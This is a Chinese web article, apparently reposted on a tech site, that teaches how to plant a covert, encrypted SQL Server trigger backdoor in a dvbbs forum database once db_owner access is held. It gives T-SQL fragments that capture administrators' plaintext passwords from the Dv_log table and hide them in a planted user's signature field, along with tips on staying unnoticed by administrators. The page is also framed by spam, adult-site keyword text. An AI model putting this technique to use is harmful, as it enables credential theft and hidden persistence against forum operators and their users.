成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

講解SQL Server數據庫的觸發器安全隱患

數據庫 SQL Server
觸發器是個特殊的存儲過程,它的執行不是由程序調用,也不是手工啟動,而是由事件來觸發。安全問題一直以來都是人們非常關注的,如今的SQL Server數據庫的觸發器也存在了安全隱患。

觸發器權限和所有權

CREATE TRIGGER 權限默認授予定義觸發器的表所有者、sysadmin 固定服務器角色成員以及 db_owner 和 db_ddladmin 固定數據庫角色成員,并且不可轉讓。

需要的環境

本文需要的環境是已經獲取了sql服務器的以上其中一個權限,目的是為了留下隱蔽的后門,不被管理員發現。即使發現了也是加密的(可以破解,不過有些管理員不懂,也不會注意,相關信息google下)。

觸發器是在對表進行插入(insert)、更新(update)或刪除(delete)操作時,自動執行的存儲過程。最常見用于執行敏感數據操作時做歷史記錄。

本文以動網論壇dvbbs為例,我們已經拿到了db_owner權限(注意:并不是說dvbbs本身有漏洞)。因為只是db_owner權限,所以讀者想去執行“xp_cmdshell”,就不再本文范圍了,相信讀過本文后,只要有系統權限,作個系統的后門也是簡單的。先回想一下通常我們使用數據庫時要做什么和關心什么。

為什么要使用觸發器作后門

管理員首先會把sql文件執行下,然后導入mdb的內容,平時使用頂多備份下,還原下。通常不會有人去看觸發器的內容,查看觸發器可以使用命令“exec sp_helptrigger 'dv_admin'”,或者在企業管理器中選擇“管理觸發器”。因為動網根本沒有用到觸發器,也沒有提到觸發器,所以動網的管理員不會去看的。于是我們在里面寫的內容就相對安全了。

思路

觸發器主要是用來做歷史記錄的,當然可以把管理員更改密碼和添加用戶的歷史記錄下。放進一個管理員通常不會注意的、普通用戶又可以看到的地方。

動網的密碼有md5加過密的,加密的操作是asp程序在服務器上來完成的,等數據庫拿到數據的時候已經是加過密的了。但是動網同時把密碼以明文方式放入dv_log表中,就給了我們方便。只要拿到dv_log表中l_content字段的內容,然后判斷是否管理員在執行敏感操作,后門思路就形成了。

使用過程――代碼解析

代碼片斷:創建觸發器。

create trigger dv_admin_history
on Dv_log
with encryption
for insertas
as

觸發器需要建立在Dv_log表上,這里放入的是明文密碼。我們并不知道管理員密碼設置有多長,只能是把里面的有密碼的字段內容全部取出。觸發器***是加密的,加密后,管理員即使看到了,也不知道這里是什么東西。在insert(加入)數據時執行觸發器。

取出來的值應該放入一個普通用戶能看到的地方,這樣只要有了普通用戶的權限就可以看到密碼。動網數據庫中,***并且可以存放數據的字段管理員通常都會看到。所以必須找出來一個管理員不會看,而其他用戶也不會注意的地方。

我選擇放在一個新建用戶的用戶信息里(以下通稱這個用戶為“汪財”,親切點),這樣我們登陸時就可以看到了(注意:登陸時有日志的,記錄***登陸ip,大家自己解決)。

有以下幾個字段適于存放:

1、Userphoto,字段類型:varchar(255)。記錄了汪財的照片地址。可以存放小于255的數據。

2、Usersign,字段類型:varchar(255)。汪財的簽名,如果放這里,汪財就不能發貼了,否則后果自負(發貼會顯示簽名,地球人都能看到)。

3、Useremail,字段類型:nvarchar(255)。汪財的email,使用時需要轉換類型。

4、Userinfo,字段類型:text。汪財的用戶資料。該字段很特殊,有很多“”,每一對“”之間都有著不同的含義。動網很懶的,為了避免字段太多,就把一堆信息全都放入一個字段里,用“”分開,當查詢某一項信息時,取出來全部,然后分割下,就是需要的數據了。

解決的問題:

1、如果都放滿了。

理論上,如果我們看到了***個字段有了東西,就應該拿筆記下來,然后刪除掉。觸發器會自動檢查大小后繼續使用。再次強調下,本文例子針對動網,大家應該具體問題具體分析。

2、管理員的日志中,有很多日志,怎么判斷它就是在記錄更改密碼。

在管理員操作用戶時,當然會在“user.asp”或者“admin.asp”中操作,所以我們判斷條件需要:

select @passinfo = l_content from inserted where l_type = 1 and (l_touser = 'user.asp' or l_touser = 'admin.asp')

在l_touser為user.asp或者admin.asp時,說明管理員在操作(查看,更新,刪除)用戶或者管理員。在l_type = 1時,說明執行了更新操作,l_content字段里面有密碼(如果管理員更新了密碼,或者新建了帳戶)。因此,查詢inserted表中的l_content,賦值給@passinfo代碼片斷:更新汪財的usersign字段。

if (len(@usersign) < 150 or @usersign is null)
begin if (@usersign is null)
set @usersign = ' '
set @passinfo = @usersign + @passinfo
update Dv_User set usersign = @passinfo where username = @username
commit tran
returnend
end

***更新時,usersign字段里沒有內容,而SQL Server里null加任何數都是null,所以需要判斷is null之后,給null賦值為一個空格。其他幾個字段的方法和這里大同小異,只是一個轉換nvarchar和“”的組合時多了點。***判斷如果字段內容太多就不再寫了,為了提高性能,也可以把***的判斷寫在前面,一旦數據過多,就不需要再繼續執行了。

關于SQL Server數據庫的觸發器安全隱患問題就為大家介紹到這里,以后有機會還會繼續為大家介紹這方面的內容,希望對大家能夠有所幫助。

【編輯推薦】

  1. SQL Server數據庫最小宕機遷移方案
  2. SQL Server數據庫備份出錯及應對措施
  3. 銀行sql觸發器代碼
責任編輯:迎迎 來源: 賽迪網
相關推薦

2009-07-06 13:38:02

2019-10-22 07:50:45

SqlServer數據庫觸發器

2010-06-30 09:36:25

SQL Server

2012-06-25 09:18:36

2017-02-24 08:11:09

Docker數據安全容器

2010-03-19 16:17:15

2009-10-27 13:20:19

Oracle默認管理員

2010-09-13 16:46:10

SQL Server觸

2011-05-05 18:28:18

2009-04-07 13:56:03

SQL Server觸發器實例

2010-07-06 14:47:03

SQL Server數

2010-07-23 15:26:29

SQL Server

2010-09-17 14:29:23

2011-03-03 09:30:24

downmoonsql登錄觸發器

2019-12-02 11:13:38

數據庫觸發器SQLServer

2010-07-16 10:19:31

2010-11-12 15:35:55

SQL Server約

2010-10-20 14:34:48

SQL Server觸

2016-09-29 22:09:26

2012-03-28 14:50:40

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲欧美日韩电影 | 毛片免费看 | 亚洲一区二区三区四区五区中文 | 亚洲国产高清免费 | 亚洲精品国产a久久久久久 中文字幕一区二区三区四区五区 | 免费一区 | 91热在线 | 国产在线精品一区二区 | 亚洲免费观看 | 中文字幕观看 | 成人免费视频在线观看 | 久久r免费视频 | 亚洲精品一区二区 | 日韩精品一区二区三区在线播放 | www.国产一区| 伊人伊成久久人综合网站 | 久久激情av| 免费日韩av网站 | 亚洲精品天堂 | 精品久 | 亚洲人成人一区二区在线观看 | 精品一区二区三区免费毛片 | 日韩欧美二区 | 国产中文 | 日本精品一区二区三区视频 | 午夜精品久久久久久久久久久久 | 欧美日韩一二三区 | 福利视频一区二区 | 国产一区高清 | 久久高清 | 在线播放中文 | 午夜电影网| 亚洲一区二区三区免费在线观看 | 超碰3| 亚洲精品一区二区冲田杏梨 | 久久久久久亚洲精品 | 亚洲欧美在线观看视频 | av毛片 | 一区二区久久 | www.蜜桃av.com| 成人免费视频观看 |